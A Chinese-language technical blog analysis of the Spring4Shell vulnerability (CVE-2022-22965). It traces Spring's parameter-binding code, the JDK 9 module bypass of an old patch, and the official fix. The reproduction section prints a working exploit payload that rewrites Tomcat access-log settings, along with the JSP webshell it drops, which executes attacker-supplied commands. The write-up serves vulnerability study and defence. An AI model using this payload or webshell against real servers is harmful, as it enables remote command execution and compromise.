Spring4Shell简析(CVE-2022-22965)

Spring4Shell简析(CVE-2022-22965)

简介

继去年年底爆出的Log4shell漏洞在安全圈造成巨大影响的阴影下,今年3月底的Spring4shell(也有叫Spring Beans RCE的)消息刚刚放出,就在坊间流传开来。但由于前一次的某事件,这回漏洞详情来得很平静,也没有听说过有大面积的利用事件产生。这无疑给该漏洞带来很多神秘色彩。
目前网上已有不少的分析文章,此篇仅作为自己学习和理解的记录。看了一圈,发现Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考写的比较好,本文主要是基于这篇文章的复现和个人理解。
这个漏洞基于CVE-2010-1622,是该漏洞的补丁绕过,该漏洞即Spring的参数绑定会导致ClassLoader的后续属性的赋值,最终能够导致RCE。而CVE-2022-22965的利用方式参考了Struts2 S2-020在Tomcat 8下的命令执行分析的方法

漏洞存在条件

  1. JDK 9+
  2. 直接或者间接地使⽤了Spring-beans包(Spring boot等框架都使用了)
  3. Controller通过参数绑定传参,参数类型为非常规类型的对象(比如非String等类型的自定义对象)
  4. Web应用部署方式必须为Tomcat war包部署

参数绑定

初识

参数绑定使程序员编写请求处理时,能够很方便地指定获取的参数以及其类型,并且能够通过请求的参数改变对象的属性

1
2
3
4
5
6
7
8
9
@RestController
public class IndexController {
@RequestMapping("/test")
String test(TestBean testBean){
testBean.setName("My test");
return testBean.getName();
}
}

如果这里我们访问url:127.0.0.1:8080/test?name=123,那么testBean对象的name属性将会被赋值为123。

嵌套型

Controller:

1
2
3
4
5
6
7
@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}

User.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}

Department.java:

1
2
3
4
5
6
7
8
9
10
11
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

当访问/addUser?name=test&department.name=SEC时,user对象的name被赋值为test,并且其成员变量department的name属性被赋值为SEC

环境搭建及复现

选择Spring4Shell PoC Application,加入远程debug相应环境变量。与java 8不同的是,java 9之后的远程调试默认不支持外部IP,需要更改为:

1
ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=*:10087,server=y,suspend=n

访问:

http://10.136.127.22:10086/helloworld/greeting

使用自带的exp进行攻击:

1
python .\exploit.py --url http://10.136.127.22:10086/helloworld/greeting

可以去/usr/local/tomcat/webapps/ROOT看到生成的webshell:

1
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>//

漏洞分析

首先看Controller,参数绑定了Greeting类的对象greeting:

1
2
3
4
5
6
7
8
9
@Controller
public class HelloController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}

攻击payload为:

1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

攻击发起的get请求的请求头为:

1
2
3
4
5
6
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}

简单分析一下,相当于发送了以下参数:

  • class.module.classLoader.resources.context.parent.pipeline.first.pattern=带有某前缀和后缀的[jsp webshell]
  • class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
  • class.module.classLoader.resources.context.parent.pipeline.first.directory=shell的文件名(不含后缀)
  • class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell的储存路径(相对路径,默认为webapps/ROOT)
  • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(空)

其中的webshell大概为(是个有回显的简单的一句话):

1
2
3
4
5
6
7
8
%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
%{suffix}i

该漏洞中,攻击者可以对绑定对象的class属性进行随意赋值,有点像原型链污染。在exp中,是利用class属性来修改Tomcat的⽇志配置,向⽇志中写⼊shell。

一些细节:

这些payload可以分开发送,也可以合并在一次请求中,这些属性的修改是直接影响内存的(像原型链污染),不会像php一样,下一次请求又复原。

为了简化分析流程,我们仅post传入class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp,其他的参数都是类似的。
我们来跟一下参数绑定的解析过程,首先是org\springframework\spring-web\5.3.15\spring-web-5.3.15-sources.jar!\org\springframework\web\bind\WebDataBinder.java#198,在WebDataBinder#doBind方法中:

1
2
3
4
5
6
7
8
9
10
...
public class WebDataBinder extends DataBinder {
...
@Override
protected void doBind(MutablePropertyValues mpvs) {
checkFieldDefaults(mpvs);
checkFieldMarkers(mpvs);
adaptEmptyArrayIndices(mpvs);
super.doBind(mpvs);//跟进此处
}

跟进去,此处省略n层,到org/springframework/beans/AbstractNestablePropertyAccessor.java#814getPropertyAccessorForPropertyPath方法被传入当前的待解析参数属性,并且尝试解析嵌套的情况,出现嵌套时,从左边开始挨个递归解析,比如此处的属性为class.module.classLoader.resources.context.parent.pipeline.first.suffix,将会解析最左边的class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// Handle nested properties recursively.
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);//进入这里
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);//递归调用,每次解析一级
}
else {
return this;
}
}

然后继续跟进:

1
2
3
4
5
6
7
8
9
10
private AbstractNestablePropertyAccessor getNestedPropertyAccessor(String nestedProperty) {
if (this.nestedPropertyAccessors == null) {
this.nestedPropertyAccessors = new HashMap<>();
}
// Get value of bean property.
PropertyTokenHolder tokens = getPropertyNameTokens(nestedProperty);
String canonicalName = tokens.canonicalName;
Object value = getPropertyValue(tokens); //跟进这里
...
}

继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
@Nullable
protected Object getPropertyValue(PropertyTokenHolder tokens) throws BeansException {
String propertyName = tokens.canonicalName;
String actualName = tokens.actualName;
PropertyHandler ph = getLocalPropertyHandler(actualName);//这里的ph包含了待获取的"class"信息
if (ph == null || !ph.isReadable()) {
throw new NotReadablePropertyException(getRootClass(), this.nestedPath + propertyName);
}
try {
Object value = ph.getValue(); //跟进这里
...
}
...

此处的ph变量是BeanWrapperImpl对象,该对象装饰了java bean(在这里是Greeting对象),并提供对其属性(这里传入了“class”字符串,获取的是class属性)的获取和更改(get和set),之后调用的ph.getValue();会获取Greeting对象的class属性:跟进去之后,在org/springframework/beans/BeanWrapperImpl.java#getValue中会获取到java.lang.Class java.lang.Object.getClass(),从而使class被解析为java.lang.Object.Class类的对象(具体值为class com.reznok.helloworld.Greeting):

1
2
3
4
5
6
7
8
9
10
11
12
@Override
@Nullable
public Object getValue() throws Exception {
Method readMethod = this.pd.getReadMethod(); // 这一步获取到 java.lang.Class java.lang.Object.getClass()
if (System.getSecurityManager() != null) {
...
}
else {
ReflectionUtils.makeAccessible(readMethod);
return readMethod.invoke(getWrappedInstance(), (Object[]) null); //
}
}

这里会返回Greeting的class属性。到这里,单次解析过程分析完毕。我们来对照一下过程:我们现在在解析class.module.classLoader.resources.context.parent.pipeline.first.suffix中的class,而当前绑定参数对象为Greeting类的对象,所以实际上是调用了Greeting.getClass()

然后我们来跟下一层解析,即module.classLoader.resources.context.parent.pipeline.first.suffix中的module的解析。我们再来看解析的入口,即递归处,此时的nestedPa为上一步解析出的java.lang.Object.Class对象,根据前一步的分析,这里会尝试获取该对象的module属性,即会调用java.lang.Object.Class.getModule()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// Handle nested properties recursively.
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
//经过第一层的解析,nestedPa变成了java.lang.Object.Class对象
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);//递归调用,每次解析一级
}
else {
return this;
}
}

此时获取到的是一个java.lang.Module对象。

类似地,依次进行各层的解析,总体解析过程为:

1
2
3
4
5
6
7
8
9
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setSuffix()
  • 需要注意的是,最后一层是整个嵌套解析结束后,调用setPropertyValue时会对得到的属性进行赋值。利用时是对org.apache.catalina.AccessLog属性进行赋值。
  • 该过程中,java.lang.Module.getClassLoader()得到org.apache.catalina.loader.ParallelWebappClassLoader这步的跨度较大,这步很关键,在后文war包部署部分会详细介绍。
  • 其他的几个属性解析赋值的过程类似。

Tomcat日志与AccessLogValve

下面我们来详细看一下Tomcat日志相关的部分,首先是exp中设置的几个属性,它们的作用为:

  • pattern:日志的文件内容格式;其中,pattern有一些特殊的语法,比如%{xxx}i表示获取请求的header中的xxx头的值,并将其打印到日志中
  • suffix:日志文件名后缀
  • directory:日志文件路径
  • prefix:日志文件名前缀
  • fileDateFormat:文件名日期后缀,默认为.yyyy-MM-dd

参考:Access Log Valve

为什么攻击时用于产生日志的get请求中,请求的header会有"c": "Runtime"?在pattern中是包含了%{c}i这一格式化记录数据的,所以c的值会被替换为Runtime。只要得到的日志文件没有语法错误,不使用这种方法也能利用成功,但是需要注意的是,http头中的信息在记录到日志文件中时,会对双引号进行转义,而在pattern中直接赋值时不会转义,所以直接在header中传入webshell会导致shell无法成功执行。

为什么部署方式必须为Tomcat war包部署

  • LaunchedURLClassLoader是以jar的形式启动Spring boot的加载器来加载/lib下面的jar,LaunchedURLClassLoader和普通的URLClassLoader的不同之处是,它提供了从Archive里加载.class的能力。参考:spring boot应用启动原理分析
  • 在利用时,存在java.lang.Module.getClassLoader()得到org.apache.catalina.loader.ParallelWebappClassLoader这一步,ParallelWebappClassLoader只能是war包部署时的返回值;如果使用jar包的形式进行部署,则此步获取到的对象是org.springframework.boot.loader.LaunchedURLClassLoader,该类下没有resources成员变量,导致利用链断掉。

为什么要JDK 9+

前面提到,该漏洞是对CVE-2010-1622的绕过,这个绕过是出现在9+之后对模块化的支持上的,在org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults#289中有对CVE-2010-1622的修复补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
...
public final class CachedIntrospectionResults {
...
private CachedIntrospectionResults(Class<?> beanClass) throws BeansException {
...
for (PropertyDescriptor pd : pds) {
if (Class.class == beanClass &&
("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
continue;
}
if (logger.isTraceEnabled()) {
...

注意到条件if (Class.class == beanClass && ("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))),该条件的意思是,如果当前的对象的类为Class.class(即java.lang.Class),并且下一个要解析的属性名为classLoaderprotectionDomain,就直接contine,不会再解析该层。而在Spring4shell的绕过中,由于JDK 9+对模块化进行了支持,实现了getModule方法,从而可以通过该方法得到的Module进一步获取classLoader,而不是直接使用Class的getClaasLoader()去获取。

具体来讲就是把

1
2
Xxx.getClass()
java.lang.Class.getClassLoader()

替换成

1
2
3
Xxx.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()

从而绕过该补丁。

可利用程度

首先,我们假设受害者已满足JDK 9+,并且使用了Spring bean,此外还有一个不是很容易满足的条件:

  • Web应用部署方式必须为Tomcat war包部署(jar的形式则不行

然后,攻击者需要知道存在漏洞的url路由,这和应用的业务息息相关。

所以该漏洞虽然是核弹级,但要在真实情况下找到满足这些条件的情形还是比较少的。这也许能解释为什么漏洞爆出后,在野利用的反响远远不如Log4shell那么大。

官方补丁

官方的补丁为:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15,具体来说,修复后的程序仅允许对属性描述符为name或以Name结尾的属性进行赋值,从而防止classLoader和Module以及之后的属性被赋值。

总结

  • 该漏洞是在spring bean解析参数绑定时,对对象属性进行赋值时没有对classLoader进行限制造成。
  • 开发者要实现的功能:支持参数绑定时向对象的属性进行赋值操作。漏洞出现的原因:能对classLoader之后的其他属性进行赋值,从而修改了一些重要的全局变量导致getshell(比如这里修改了日志文件的文件名、内容,导致写入webshell)。
  • 该洞的利用过程是查找一系列的getXXX链,然后可以设置其值为任意字符串,exp中通过设置tomcat日志相关属性以写入webshell。这个链的查找过程应该是很有难度的,除了写日志这条链,还可以尝试去发现其他的利用链,但过程应该很难。
  • 该漏洞与原型链污染有相似的地方(污染现有对象的属性达到利用),与python模板注入也有相似的地方(通过链式的形式在对象成员属性或继承链之间跨越,以达到能够利用的属性处)。

参考资料